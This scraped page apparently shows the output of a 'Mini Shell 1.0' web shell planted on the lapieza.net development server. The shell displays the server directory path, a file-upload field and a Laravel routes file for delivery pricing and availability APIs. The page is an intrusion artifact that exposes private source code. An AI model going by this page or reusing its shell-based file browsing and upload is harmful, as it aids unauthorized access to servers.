HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/routes/api/delivery/
Upload File :
Current File : /var/www/devs.lapieza.net/routes/api/delivery/routes.php
<?php

use App\Http\Controllers\Api\Delivery\V1\DeliveryController;
use App\Http\Controllers\Api\TransporteBlanco\V1\PricingController;
use App\Http\Controllers\Delivery\PedidosYaController;
use Illuminate\Support\Facades\Route;

use App\Http\Controllers\Api\V2\Delivery\PedidosYaController as PedidosYaV2Controller;
use App\Http\Controllers\Api\V2\Delivery\DeliveryController as DeliveryV2Controller;

Route::prefix('v1')->middleware('app_language')->group(function () {
    Route::prefix('transporte-blanco')->group(function () {
        Route::post('pricing', [PricingController::class, 'pricing']);
    });
    Route::prefix('delivery')->middleware(['auth:sanctum'])->group(function () {
        Route::get('check', [DeliveryController::class, 'checkDeliveryAvailability']);
    });
    Route::prefix('pedidosya')->group(function () {
        Route::get('check-availability', [PedidosYaController::class, 'checkAvailability'])->middleware('hasItemsInCart');
        Route::post('pricing', [PedidosYaController::class, 'makeFromAPI']);
    });
});

Route::prefix('v2')->middleware(['auth:sanctum', 'hasItemsInCart'])->group(function () {
    Route::prefix('transporte-blanco')->group(function () {});

    Route::prefix('delivery')->group(function () {
        Route::get('pricing', [DeliveryV2Controller::class, 'index']);
    });

    Route::prefix('pedidosya')->group(function () {
        Route::get('check-availability', [PedidosYaV2Controller::class, 'checkAvailability']);
    });
});